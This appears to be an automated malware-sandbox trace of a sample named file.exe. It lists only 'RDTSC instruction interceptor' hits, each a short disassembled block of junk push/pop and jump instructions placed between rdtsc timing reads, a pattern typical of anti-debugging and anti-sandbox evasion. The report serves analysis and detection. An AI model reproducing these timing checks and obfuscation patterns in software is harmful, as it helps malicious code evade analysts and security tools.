Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B625 second address: E5B653 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB832h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F52D87EB830h 0x00000010 ja 00007F52D87EB826h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B653 second address: E5B659 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B659 second address: E5B667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52D87EB82Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B667 second address: E5B67B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F52D91A3356h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B7D7 second address: E5B7DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E603B9 second address: E603C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E603C7 second address: E603CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E603CB second address: E603D5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F52D91A3356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E603D5 second address: E603FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB82Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007F52D87EB835h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E603FD second address: E60407 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F52D91A3356h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5F65C second address: E5F662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E633A9 second address: E633B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62C93 second address: E62C99 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62E45 second address: E62E5B instructions: 0x00000000 rdtsc 0x00000002 je 00007F52D91A3356h 0x00000008 jl 00007F52D91A3356h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62E5B second address: E62E5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E698B9 second address: E6990B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A335Ch 0x00000007 jmp 00007F52D91A3369h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop esi 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F52D91A335Bh 0x00000016 jbe 00007F52D91A3356h 0x0000001c push edx 0x0000001d pop edx 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 jp 00007F52D91A3358h 0x00000027 push eax 0x00000028 push edx 0x00000029 jc 00007F52D91A3356h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E69D74 second address: E69D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E69D78 second address: E69D84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E69D84 second address: E69D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E69D88 second address: E69D8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6A02D second address: E6A03C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6A2F6 second address: E6A2FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6A5BC second address: E6A5C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6ABB5 second address: E6ABCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F52D91A3356h 0x0000000a pop edi 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jo 00007F52D91A3356h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6AEC9 second address: E6AEE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F52D87EB837h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6AEE6 second address: E6AEFA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 ja 00007F52D91A3356h 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F52D91A3356h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6B1F6 second address: E6B1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6B1FC second address: E6B21B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F52D91A3356h 0x0000000a popad 0x0000000b pushad 0x0000000c jbe 00007F52D91A3356h 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 jns 00007F52D91A3356h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6B21B second address: E6B21F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6B4DF second address: E6B4EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F52D91A3356h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E738CF second address: E738D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E738D5 second address: E738DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E738DB second address: E738F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F52D87EB837h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73D3C second address: E73D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B0EE second address: E7B114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F52D87EB826h 0x0000000a popad 0x0000000b jmp 00007F52D87EB831h 0x00000010 popad 0x00000011 jng 00007F52D87EB83Eh 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B230 second address: E7B255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F52D91A3368h 0x00000009 popad 0x0000000a jng 00007F52D91A3358h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B255 second address: E7B25B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B25B second address: E7B265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F52D91A3356h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B265 second address: E7B27D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F52D87EB82Bh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B27D second address: E7B292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F52D91A3360h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B292 second address: E7B298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B298 second address: E7B2B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F52D91A3364h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B2B0 second address: E7B2B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B3EC second address: E7B3F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B3F2 second address: E7B446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F52D87EB833h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F52D87EB830h 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007F52D87EB82Ch 0x0000001d push eax 0x0000001e jmp 00007F52D87EB82Eh 0x00000023 pushad 0x00000024 popad 0x00000025 pop eax 0x00000026 push edi 0x00000027 push edi 0x00000028 pop edi 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B57B second address: E7B57F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B57F second address: E7B585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B585 second address: E7B59E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A3363h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B59E second address: E7B5A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F52D87EB826h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B70C second address: E7B727 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F52D91A3356h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F52D91A335Ah 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82D70 second address: E82D7A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F52D87EB826h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82D7A second address: E82D80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82D80 second address: E82D97 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F52D87EB832h 0x00000008 jp 00007F52D87EB826h 0x0000000e jp 00007F52D87EB826h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E916D3 second address: E916E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b je 00007F52D91A3356h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9182F second address: E91835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E94428 second address: E9442C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E945AF second address: E945BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jne 00007F52D87EB826h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E945BF second address: E945C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E945C6 second address: E945CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB2CAB second address: DB2CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jbe 00007F52D91A3356h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB2CB8 second address: DB2CBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB2CBE second address: DB2CC8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EACF98 second address: EACF9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EACF9E second address: EACFA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAB716 second address: EAB72F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB833h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABD33 second address: EABD3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F52D91A3356h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABD3F second address: EABD71 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F52D87EB826h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F52D87EB82Ah 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 pushad 0x00000013 jmp 00007F52D87EB838h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABEE6 second address: EABEEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABEEC second address: EABF12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F52D87EB837h 0x0000000e js 00007F52D87EB826h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABF12 second address: EABF1C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F52D91A3356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABF1C second address: EABF32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F52D87EB826h 0x0000000a jmp 00007F52D87EB82Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABF32 second address: EABF4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A3368h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABF4E second address: EABF69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F52D87EB82Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABF69 second address: EABF74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABF74 second address: EABF7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC24D second address: EAC278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F52D91A3362h 0x00000009 pop ebx 0x0000000a pop eax 0x0000000b jng 00007F52D91A3368h 0x00000011 pushad 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushad 0x00000015 popad 0x00000016 jnp 00007F52D91A3356h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1654 second address: EB1665 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F52D87EB826h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1665 second address: EB166E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB166E second address: EB1672 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1672 second address: EB1686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F52D91A335Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1686 second address: EB168A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB168A second address: EB1690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB474E second address: DB4758 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4758 second address: DB475C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC118 second address: ECC16D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB82Fh 0x00000007 jmp 00007F52D87EB838h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jne 00007F52D87EB828h 0x00000015 push eax 0x00000016 jmp 00007F52D87EB82Bh 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 jmp 00007F52D87EB830h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECBFAF second address: ECBFB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECBFB7 second address: ECBFBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECBFBD second address: ECBFE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F52D91A3369h 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1BC1 second address: ED1BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F52D87EB826h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED4396 second address: ED439C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED439C second address: ED43A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED43A0 second address: ED43A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE7FCA second address: EE7FF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB836h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F52D87EB830h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE7FF7 second address: EE8022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jc 00007F52D91A339Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007F52D91A3356h 0x00000015 jmp 00007F52D91A3366h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8022 second address: EE8041 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F52D87EB826h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F52D87EB82Fh 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8041 second address: EE8047 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8713 second address: EE8729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F52D87EB832h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8729 second address: EE873D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F52D91A335Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
